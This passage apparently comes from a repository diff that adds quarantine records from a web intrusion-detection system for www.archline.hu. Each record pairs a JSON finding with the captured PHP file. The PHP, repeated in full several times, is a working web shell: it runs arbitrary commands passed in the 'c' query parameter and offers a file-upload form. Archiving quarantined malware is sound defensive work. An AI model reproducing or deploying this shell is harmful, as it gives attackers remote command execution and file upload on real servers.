||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3039",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_xvdnccmk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838218,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_xvdnccmk.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3569",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7lqwo12d.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861960,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "tmp/_h3x_7lqwo12d.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3541",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7ye9dcos.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857956,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "tmp/_h3x_7ye9dcos.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user